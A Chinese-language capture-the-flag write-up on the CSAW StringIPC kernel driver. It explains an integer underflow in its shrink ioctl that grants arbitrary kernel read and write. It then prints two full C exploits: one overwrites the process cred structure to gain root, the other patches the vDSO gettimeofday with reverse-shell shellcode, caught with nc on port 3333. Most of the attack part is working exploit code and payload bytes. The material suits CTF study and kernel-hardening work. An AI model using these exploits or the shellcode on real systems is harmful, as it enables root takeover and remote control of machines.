0%

cred attack+vdso attack

StringIPC 复现

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 512 \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
-nographic \
-s \
-cpu qemu64,+smep,+smap \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0
  • smep,smap(这是我自己加的,原题没有)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#! /bin/sh
/bin/mount -a
mount -t proc none /proc
mount -t tmpfs -o size=64k,mode=0755 tmpfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mount -t sysfs sysfs /sys
sysctl -w kernel.hotplug=/sbin/mdev
ifconfig lo 127.0.0.1 netmask 255.255.255.0
route add -net 127.0.0.0 netmask 255.255.255.0 lo
insmod StringIPC.ko # 驱动模块
/sbin/mdev -s
echo "man, you got me" > flag
chmod 400 flag
chmod 766 /dev/csaw
nohup /sudo_timer &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
poweroff -d 0 -f

漏洞分析

qwb2018-solid_core 的漏洞点一样:

1
2
3
4
5
6
buf_size = channel->buf_size;
ch1 = buf_size + id;
ch2 = buf_size - id;
if ( !key_s )
ch1 = ch2;
data = (char *)krealloc(channel->data, ch1 + 1, 0x24000C0LL);
  • CSAW_SHRINK_CHANNEL 会导致 ch2 负数溢出为“-1”
  • krealloc(channel->data, 0, 0x24000C0LL) 返回“0”,使后面的 channel->data = 0,而 channel->buf_size 非常大
1
2
channel->data = data;
channel->buf_size = ch1;
  • 进而绕过后面的检查:
1
2
if ( channel_from.size + index_write > channel_write->buf_size )
goto LABEL_29;

入侵思路

qwb2018-solid_core 中,作者禁用了 “cred attack” 和 “vdso attack” 这两种方法,这里就来试一试

首先 WAA,RAA 的模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void RAA(int fd, int channel_id, void *read_buff, uint64_t addr, uint32_t len)
{
struct seek_channel_args seek_channel;
struct read_channel_args read_channel;

seek_channel.id = channel_id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

read_channel.id = channel_id;
read_channel.buf = (char*)read_buff;
read_channel.count = len;
ioctl(fd, CSAW_READ_CHANNEL, &read_channel);

return;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void WAA(int fd, int channel_id, void* write_buff, uint64_t addr, uint32_t len)
{
struct seek_channel_args seek_channel;
struct write_channel_args write_channel;
uint32_t i;
for (i=0; i<len; i++){
seek_channel.id = channel_id;
seek_channel.index = addr-0x10+i;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

write_channel.id = channel_id;
write_channel.buf = (char*)write_buff+i;
write_channel.count = 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_channel);
}
return;
}
  • PS:由于驱动使用的 strncpy_from_user 会被 “\x00” 截断,所以 WAA 最好单字节多次输入

Cred Attack:

内核结构体 task_struct 用于对进程/线程的所有的相关的信息进行维护,并进行管理:

  • 其中有个很重要的条目就是 *cred 指针,内核会根据 cred 结构体的内容来判断一个进程拥有的权限(如果 cred 结构体成员中的 uid-fsgid 都为 0,那一般就会认为进程具有 root 权限)
  • 想要定位 task_struct 结构体中的 cred 指针,需要用到 task_struct 中的另一个条目 comm[TASK_COMM_LEN]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
  • comm 字符数组就在 *cred 相邻的下方,里面存放的这个字符串表示线程的名字(可以唯一确定),其内容可以通过 linux 的 prctl(PR_SET_NAME,name) 来设置指定的值
  • *real_cred*cred 的值相同,可以用于判断是否找到 *cred
  • 如果程序拥有局部 RAA,就可以通过扫描 comm 来找到 *cred

最后还需要确定一下扫描的范围:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
0xffffffffffffffff  ---+-----------+----------------------------------------------
8M | | unused hole
0xffffffffff7ff000 ---|-----------+------------| FIXADDR_TOP |-------------------
1M | |
0xffffffffff600000 ---+-----------+------------| VSYSCALL_ADDR |-----------------
548K | | vsyscalls
0xffffffffff577000 ---+-----------+------------| FIXADDR_START |-----------------
5M | | hole
0xffffffffff000000 ---+-----------+------------| MODULES_END |-------------------
1520M | | module mapping space (MODULES_LEN)
0xffffffffa0000000 ---+-----------+------------| MODULES_VADDR |-----------------
512M | | kernel text mapping, from phys 0
0xffffffff80000000 ---+-----------+------------| __START_KERNEL_map |------------
2G | | hole
0xffffffff00000000 ---+-----------+----------------------------------------------
64G | | EFI region mapping space
0xffffffef00000000 ---+-----------+----------------------------------------------
444G | | hole
0xffffff8000000000 ---+-----------+----------------------------------------------
16T | | %esp fixup stacks
0xffffff0000000000 ---+-----------+----------------------------------------------
3T | | hole
0xfffffc0000000000 ---+-----------+----------------------------------------------
16T | | kasan shadow memory (16TB)
0xffffec0000000000 ---+-----------+----------------------------------------------
1T | | hole
0xffffeb0000000000 ---+-----------+----------------------------------------------
1T | | virtual memory map for all of struct pages
0xffffea0000000000 ---+-----------+------------| VMEMMAP_START |-----------------
1T | | hole
0xffffe90000000000 ---+-----------+------------| VMALLOC_END |-----------------
32T | | vmalloc/ioremap (1 << VMALLOC_SIZE_TB)
0xffffc90000000000 ---+-----------+------------| VMALLOC_START |-----------------
1T | | hole
0xffffc80000000000 ---+-----------+----------------------------------------------
64T | | direct mapping of all phys. memory
| | (1 << MAX_PHYSMEM_BITS)
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | ------------
8T | | guard hole, reserved for hypervisor
0xffff800000000000 ----+-----------+----------------------------------------------
|-----------| hole caused by [48:63] sign extension
1
2
3
4
5
0x0000800000000000 ----+-----------+----------------------------------------------
PAGE_SIZE | | guard page
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | --------------
128T | | different per mm
0x0000000000000000 ----+-----------+----------------------------------------------
  • 直接映射区:0xffff880000000000 ~ 0xffffc80000000000(使用 kmalloc,分配的内存物理地址是连续的,虚拟地址也是连续的)
  • 动态映射区:0xffffc90000000000 ~ 0xffffe90000000000(使用 vmalloc,分配的内存物理地址是不连续的,虚拟地址是连续的)
  • PS:cred 使用直接映射区

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
#include<sys/types.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/auxv.h>
#include <string.h>
#include <stdbool.h>

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8

void die(const char* msg)
{
perror(msg);
exit(-1);
}

struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};

void RAA(int fd, int channel_id, void *read_buff, uint64_t addr, uint32_t len)
{
struct seek_channel_args seek_channel;
struct read_channel_args read_channel;

seek_channel.id = channel_id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

read_channel.id = channel_id;
read_channel.buf = (char*)read_buff;
read_channel.count = len;
ioctl(fd, CSAW_READ_CHANNEL, &read_channel);

return;
}

void WAA(int fd, int channel_id, void* write_buff, uint64_t addr, uint32_t len)
{
struct seek_channel_args seek_channel;
struct write_channel_args write_channel;
uint32_t i;
for (i=0; i<len; i++){
seek_channel.id = channel_id;
seek_channel.index = addr-0x10+i;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

write_channel.id = channel_id;
write_channel.buf = (char*)write_buff+i;
write_channel.count = 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_channel);
}
return;
}

int main()
{
char name[20];
struct alloc_channel_args channel_alloc;
struct shrink_channel_args channel_shrink;
int channel_id;
char * read_buff = NULL;
char * target = NULL;
size_t cred_addr = -1;
size_t real_cred_addr = NULL;
char root_cred[28] = {0};

int fd = open("/dev/csaw",O_RDWR);
if(fd < 0){
die("open error");
}

read_buff = (char*)malloc(0x1000);
strcpy(name,"try2findmesauce");
prctl(PR_SET_NAME,name);

channel_alloc.buf_size = 0x100;
channel_alloc.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&channel_alloc);
if(channel_alloc.id == -1){
die("alloc channel wrong");
}
else{
printf("alloc channel id is :%d\n",channel_alloc.id);
}

channel_id = channel_alloc.id;
channel_shrink.id = 1;
channel_shrink.size = 0x101;
ioctl(fd,CSAW_SHRINK_CHANNEL,&channel_shrink);

for(size_t addr = 0xffff880000000000;addr < 0xffffc80000000000;addr+=0x1000){
RAA(fd,channel_id,read_buff,addr,0x1000);
target = memmem(read_buff,0x1000,name,16);
if(target != NULL){
cred_addr = *(size_t *)(target - 0x8);
real_cred_addr = *(size_t *)(target - 0x10);
if(cred_addr == real_cred_addr){
printf("found cred at 0x%lx\n",addr+target-(size_t)read_buff);
printf("cred at 0x%lx\n",cred_addr);
break;
}
}
}

if(cred_addr == -1){
die("not find cred");
}

WAA(fd,channel_id,root_cred,cred_addr,28);
if(getuid() == 0){
printf("win~~~\n");
system("/bin/sh");
}else{
die("fail");
}
}

VDSO Attack:(Ret2dir 的一种)

VDSO 是内核为了减少内核与用户空间频繁切换,提高系统调用效率而提出的机制,支持的系统调用有4个:

  • gettimeofday():把时间包装为一个结构体返回,包括秒,微妙,时区等信息
  • time():获取当前的系统时间,返回一个大整数
  • getcpu():获取CPU信息
  • clock_gettime():用于计算精度和纳秒

入侵的思路很简单,就是利用 WAA 把 vdso 中用于替代系统调用的函数劫持为 shellcode,然后调用这些函数,获取 VDSO 基地址有如下步骤:

  • 在高版本的 glibc 中,读取 ELF 辅助向量,计算 gettimeofday 字符串的偏移,用于在后续的爆破中判断是否找到 VDSO 基地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int get_gettimeofday_str_offset() {
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr){
printf("error get name's offset");
return 0;
}
else{
printf("vdso_addr in user: 0x%lx\n",vdso_addr);
}
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
printf("error get name's offset");
return 0;
}

return name_addr - vdso_addr;
}
  • 爆破获得 VDSO 地址,VDSO 是按页对齐的,且映射到空间的是个ELF文件
1
2
3
4
5
6
7
8
9
int offset = get_gettimeofday_str_offset();
for (uint64_t addr = 0xffff880000000000; addr<0xffffc80000000000; addr+=0x1000) {
RAA(fd,channel_id,read_buff,addr,0x1000);
if (!strcmp(read_buff+offset,"gettimeofday")) {
fprintf(stderr,"%p found it?\n", addr);
vdso_addr = addr;
break;
}
}
  • PS:能劫持 vdso 的核心就是 vdso 在内核状态下是可写的,高版本内核就不可写了

如果爆破出了 VDSO 的内核地址,就使用 GDB 把 VDSO 给 dump 下来,然后拖入 IDA 寻找函数 gettimeofday 的偏移(在 get_gettimeofday_str_offset 中查找的是 gettimeofday 字符串偏移)

1
vdso_addr in kernel: 0xffff880001e04000
1
pwndbg> dump memory ./vdso.so 0xffff880001e04000 0xffff880001e05000

1665238227526

写入的 Shellcode 是一个反弹 shell,它将 root shell 反弹到本地端口3333,我们只需 nc 本地端口3333即可

  • 如果有 root 权限的程序,调用我们的 shellcode,那么我们的 shellcode 也是以 root 权限执行
  • 在 Linux 中,crontab 是带有 root 权限的,并且它会不断的调用 vdso 里的 gettimeofday 函数
  • 在 qemu 里,使用了一个程序来模拟(本题目是 /sbin/init

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
#include<sys/types.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/auxv.h>
#include <string.h>
#include <stdbool.h>

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8

void die(const char* msg)
{
perror(msg);
exit(-1);
}

struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};

int get_gettimeofday_str_offset() {
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr){
printf("error get name's offset");
return 0;
}
else{
printf("vdso_addr in user: 0x%lx\n",vdso_addr);
}
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
printf("error get name's offset");
return 0;
}

return name_addr - vdso_addr;
}

void RAA(int fd, int channel_id, void *read_buff, uint64_t addr, uint32_t len)
{
struct seek_channel_args seek_channel;
struct read_channel_args read_channel;

seek_channel.id = channel_id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

read_channel.id = channel_id;
read_channel.buf = (char*)read_buff;
read_channel.count = len;
ioctl(fd, CSAW_READ_CHANNEL, &read_channel);

return;
}

void WAA(int fd, int channel_id, void* write_buff, uint64_t addr, uint32_t len)
{
struct seek_channel_args seek_channel;
struct write_channel_args write_channel;
uint32_t i;
for (i=0; i<len; i++){
seek_channel.id = channel_id;
seek_channel.index = addr-0x10+i;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

write_channel.id = channel_id;
write_channel.buf = (char*)write_buff+i;
write_channel.count = 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_channel);
}
return;
}

int main()
{
char name[20];
struct alloc_channel_args channel_alloc;
struct shrink_channel_args channel_shrink;
int channel_id;
char * read_buff = NULL;
size_t vdso_addr = -1;
char shellcode[]="\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";

int fd = open("/dev/csaw",O_RDWR);
if(fd < 0){
die("open error");
}

read_buff = (char*)malloc(0x1000);

channel_alloc.buf_size = 0x100;
channel_alloc.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&channel_alloc);
if(channel_alloc.id == -1){
die("alloc channel wrong");
}
else{
printf("alloc channel id is :%d\n",channel_alloc.id);
}

channel_id = channel_alloc.id;
channel_shrink.id = 1;
channel_shrink.size = 0x101;
ioctl(fd,CSAW_SHRINK_CHANNEL,&channel_shrink);

int offset = get_gettimeofday_str_offset();
printf("%lx\n",offset);
for (uint64_t addr = 0xffff880000000000; addr<0xffffc80000000000; addr+=0x1000) {
RAA(fd,channel_id,read_buff,addr,0x1000);
if (!strcmp(read_buff+offset,"gettimeofday")) {
fprintf(stderr,"%p found it?\n", addr);
vdso_addr = addr;
break;
}
}

if(vdso_addr == -1){
die("not find vdso");
}
else{
printf("vdso_addr in kernel: 0x%lx\n",vdso_addr);
}

size_t gettimeofday = vdso_addr + 0xcb0;
WAA(fd,channel_id,shellcode,gettimeofday,strlen(shellcode));

sleep(1);
printf("open a shell\n");
system("nc -lvnp 3333");
}

小结:

尝试了一下 “cred attack” 和 “vdso attack”

本来还想试试 “HijackPrctl”,但在 qwb2018-solid_core 中已经复现过了